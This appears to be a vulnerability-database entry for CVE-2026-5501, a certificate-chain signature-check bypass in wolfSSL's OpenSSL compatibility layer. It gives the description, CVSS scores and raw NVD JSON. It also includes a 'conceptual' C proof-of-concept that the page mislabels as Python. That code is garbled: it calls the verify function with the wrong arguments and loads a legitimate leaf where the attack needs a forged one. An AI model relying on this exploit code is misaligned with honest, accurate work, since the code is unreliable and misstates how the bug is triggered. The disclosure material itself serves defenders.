Security Vulnerability Report
中文
CVE-2026-5501 CVSS 8.1 HIGH

CVE-2026-5501

Published: 2026-04-10 04:17:17
Last Modified: 2026-04-27 17:57:21

Description

wolfSSL_X509_verify_cert in the OpenSSL compatibility layer accepts a certificate chain in which the leaf's signature is not checked, if the attacker supplies an untrusted intermediate with Basic Constraints `CA:FALSE` that is legitimately signed by a trusted root. An attacker who obtains any leaf certificate from a trusted CA (e.g. a free DV cert from Let's Encrypt) can forge a certificate for any subject name with any public key and arbitrary signature bytes, and the function returns `WOLFSSL_SUCCESS` / `X509_V_OK`. The native wolfSSL TLS handshake path (`ProcessPeerCerts`) is not susceptible and the issue is limited to applications using the OpenSSL compatibility API directly, which would include integrations of wolfSSL into nginx and haproxy.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE
wolfSSL (使用OpenSSL兼容层版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-5501 (Conceptual) * Demonstrates bypassing signature verification in wolfSSL OpenSSL compatibility layer. */ #include <wolfssl/openssl/x509.h> int main() { WOLFSSL_CTX* ctx = wolfSSL_CTX_new(wolfSSLv23_method()); // Load trusted CA store (including the Root that signed the forged intermediate) wolfSSL_CTX_load_verify_locations(ctx, "trusted_root.pem", 0); // 1. Load a valid leaf certificate (e.g., from Let's Encrypt) WOLFSSL_X509* leaf = wolfSSL_X509_load_certificate_file("legit_leaf.pem", SSL_FILETYPE_PEM); // 2. Load a forged intermediate certificate // Crucial: Basic Constraints CA:FALSE, but signed by the trusted Root. WOLFSSL_X509* intermediate = wolfSSL_X509_load_certificate_file("forged_intermediate.pem", SSL_FILETYPE_PEM); // 3. Construct the chain stack STACK_OF(WOLFSSL_X509)* chain = sk_WOLFSSL_X509_new_null(); sk_WOLFSSL_X509_push(chain, intermediate); // 4. Perform verification using the vulnerable compatibility function // In vulnerable versions, this returns WOLFSSL_SUCCESS (1) // even though 'leaf' is not signed by 'intermediate'. int result = wolfSSL_X509_verify_cert(leaf, chain); if (result == WOLFSSL_SUCCESS) { printf("[+] Exploit Successful: Signature verification bypassed!\n"); } else { printf("[-] Verification failed.\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5501", "sourceIdentifier": "[email protected]", "published": "2026-04-10T04:17:17.230", "lastModified": "2026-04-27T17:57:21.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "wolfSSL_X509_verify_cert in the OpenSSL compatibility layer accepts a certificate chain in which the leaf's signature is not checked, if the attacker supplies an untrusted intermediate with Basic Constraints `CA:FALSE` that is legitimately signed by a trusted root. An attacker who obtains any leaf certificate from a trusted CA (e.g. a free DV cert from Let's Encrypt) can forge a certificate for any subject name with any public key and arbitrary signature bytes, and the function returns `WOLFSSL_SUCCESS` / `X509_V_OK`. The native wolfSSL TLS handshake path (`ProcessPeerCerts`) is not susceptible and the issue is limited to applications using the OpenSSL compatibility API directly, which would include integrations of wolfSSL into nginx and haproxy."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.9.0", "matchCriteriaId": "DA5C710C-46E8-470C-83AF-D33D1A40512D"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10102", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}